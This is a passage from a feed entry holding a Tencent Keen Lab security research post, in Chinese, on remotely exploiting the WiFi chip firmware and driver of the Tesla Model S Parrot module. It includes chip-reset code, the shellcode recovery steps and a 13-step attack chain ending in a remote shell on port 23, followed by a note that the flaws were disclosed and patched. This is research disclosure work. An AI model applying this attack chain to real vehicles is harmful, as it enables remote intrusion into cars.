title="远程获取shell"></a>远程获取shell</h2><p>在漏洞触发后，芯片中的内存被完全破坏无法继续正常工作。同时内核栈已损坏，无法正常工作。</p><p>为了让Parrot的无线功能可以重新正常工作，我们做了如下事情：</p><ol><li>在向内核发送完payload之后，我们通过如下命令重置了芯片。在这之后，内核驱动会重新发现芯片然后重新下载固件。</li></ol><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">*(<span class="type">unsigned</span> <span class="type">int</span> *)<span class="number">0x8000201c</span>|=<span class="number">2</span>;</span><br><span class="line">*(<span class="type">unsigned</span> <span class="type">int</span> *)<span class="number">0x8000a514</span>=<span class="number">0</span>;</span><br><span class="line">*(<span class="type">unsigned</span> <span class="type">int</span> *)<span class="number">0x80003034</span>=<span class="number">1</span>;</span><br></pre></td></tr></table></figure><ol start="2"><li><p>在shellcode的函数fun_ret()中调用内核函数rtnl_unlock()来解开rtnl_mutex锁。否则Linux的无线功能会无法正常功能，导致Parrot被CID重启。</p></li><li><p>在shellcode的函数fun_ret()中调用do_exit()来终止用户态进程wpa_supplicant并重新运行，这样就不需要修复内核栈。</p></li><li><p>杀掉进程ck5050并重新运行，否则稍后ck5050会因芯片重置而崩溃，导致Parrot被CID重启。</p></li></ol><p>为了远程获取shell，我们强制让Parrot连入我们自己的AP并修改iptables规则。之后，便可通过23端口访问到Parrot的shell。</p><p>最终拿到shell的成功率在10%左右。</p><h2 id="完整的利用过程"><a href="#完整的利用过程" class="headerlink" title="完整的利用过程"></a>完整的利用过程</h2><ol><li><p>攻击者发送DEAUTH帧给附近的所有AP。</p></li><li><p>当Tesla重连至AP时，攻击者可以嗅探到特斯拉的MAC地址。</p></li><li><p>堆喷伪造的指针，然后发送Action帧来触发固件中的漏洞。</p></li><li><p>函数memcpy()会一直工作直到有中断产生。</p></li><li><p>在芯片内成功执行任意代码。</p></li><li><p>第一阶段shellcode发送EVENT_DISASSOCIATED事件给驱动。</p></li><li><p>第一阶段shellcode处理一系列命令并等待命令HostCmd_CMD_802_11_SNMP_MIB。</p></li><li><p>第一阶段shellcode通过SDIO接口发送payload来触发内核栈溢出。</p></li><li><p>第二阶段shellcode执行并调用call_usermodehelper()函数。</p></li><li><p>成功执行Linux系统命令并尝试修复Parrot的无线功能。</p></li><li><p>攻击者搭建自己的AP热点及DHCP服务器。</p></li><li><p>通过Linux命令强制Parrot加入攻击者建立的AP热点并修改iptables规则。</p></li><li><p>攻击者可通过Parrot的23端口获得Parrot的shell。</p></li></ol><p><img src="/zh/img/exploiting-wifi-stack-on-tesla-model-s/image21.png"></p><h2 id="演示视频"><a href="#演示视频" class="headerlink" title="演示视频"></a>演示视频</h2><div style="text-align: center;"><iframe frameborder="0" width="600" height="400" src="//v.qq.com/txp/iframe/player.html?vid=v304513meir&tiny=0&auto=0" allowfullscreen></iframe></div><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>在这篇文章中，我们展示了Marvell无线芯片固件及驱动中漏洞的具体细节，并演示了如何利用这两个漏洞仅通过发送无线数据包的形式远程在Parrot系统内部实现命令执行。</p><h2 id="负责任的漏洞披露"><a href="#负责任的漏洞披露" class="headerlink" title="负责任的漏洞披露"></a>负责任的漏洞披露</h2><p>本文所提到的两个漏洞已于2019年3月报告给Tesla，Tesla已经在2019.36.2版本中对该漏洞进行了修复。同时，Marvell也修复了该漏洞并针对该漏洞发布了安全公告[4]。漏洞研究报告的披露已事先与特斯拉沟通过，特斯拉对我们的发布知情。</p><p>你可以通过下列链接来跟踪本文提到的漏洞。</p><ol><li><p><a href="https://www.cnvd.org.cn/flaw/show/CNVD-2019-44105">https://www.cnvd.org.cn/flaw/show/CNVD-2019-44105</a></p></li><li><p><a href="http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-201911-1040">http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-201911-1040</a></p></li><li><p><a href="http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-201911-1038">http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-201911-1038</a></p></li><li><p><a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-13581">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-13581</a></p></li><li><p><a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-13582">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-13582</a></p></li></ol><h2 id="腾讯科恩实验室介绍"><a href="#腾讯科恩实验室介绍" class="headerlink" title="腾讯科恩实验室介绍"></a>腾讯科恩实验室介绍</h2><p>腾讯科恩实验室作为腾讯集团云与智慧产业事业群旗下一支国际一流的信息安全团队，技术实力和研究成果处于国际领先水平。近年来，更是在IoT安全、网联汽车与自动驾驶安全、云计算和虚拟化技术安全等领域取得突破性成果。随着更多新技术进入产业互联网，腾讯科恩实验室继续保持领先的前沿技术研究能力，同时向智能网联汽车、安卓应用生态、IoT等行业开放核心技术能力和行业解决方案。护航各行业数字化变革，守护全网用户的信息安全是腾讯科恩实验室的使命。</p><h2 id="参考资料"><a href="#参考资料" class="headerlink" title="参考资料"></a>参考资料</h2><p>[1] <a href="https://fccid.io/RKXFC6050W/Users-Manual/user-manual-1707044">https://fccid.io/RKXFC6050W/Users-Manual/user-manual-1707044</a></p><p>[2] <a href="https://www.marvell.com/wireless/88w8688/">https://www.marvell.com/wireless/88w8688/</a></p><p>[3] <a href="https://www.marvell.com/wireless/assets/Marvell-88W8688-SoC.pdf">https://www.marvell.com/wireless/assets/Marvell-88W8688-SoC.pdf</a></p><p>[4] <a href="https://www.marvell.com/documents/ioaj5dntk2ubykssa78s/">https://www.marvell.com/documents/ioaj5dntk2ubykssa78s/</a></p>]]></content>
    
    
    <summary type="html">&lt;p&gt;&lt;img src=&quot;/zh/img/exploiting-wifi-stack-on-tesla-model-s/head.png&quot;&gt;&lt;/p&gt;
&lt;p&gt;在过去的两年里，腾讯科恩实验室对特斯拉汽车的安全性进行了深入的研究并在Black Hat 2017与Black Hat 2018安全会议上两次公开分享了我们的研究成果。我们的研究成果覆盖了车载系统的多个组件。我们展示了如何攻入到特斯拉汽车的CID、IC、网关以及自动驾驶模块。这一过程利用了内核、浏览器、MCU固件、UDS协议及OTA更新过程中的多个漏洞。值得注意的是，最近我们在自动驾驶模块上做了一些有趣的工作。我们分析了自动雨刷和车道识别功能的具体实现细节并且在真实的世界中对其中的缺陷进行了攻击尝试。&lt;/p&gt;
&lt;p&gt;为了更深入的了解特斯拉车载系统的安全性，我们研究了无线功能模块（Model S上的Parrot模块）并在其中找到了两个漏洞。一个存在于无线芯片固件当中，另一个存在于无线芯片驱动当中。通过组合这两个漏洞，攻击者可以在Parrot模块的Linux系统当中执行任意命令。&lt;/p&gt;</summary>
    
    
    
    
    <category term="CarHacking" scheme="https://keenlab.tencent.com/zh/tags/CarHacking/"/>
    
  </entry>
  
</feed>
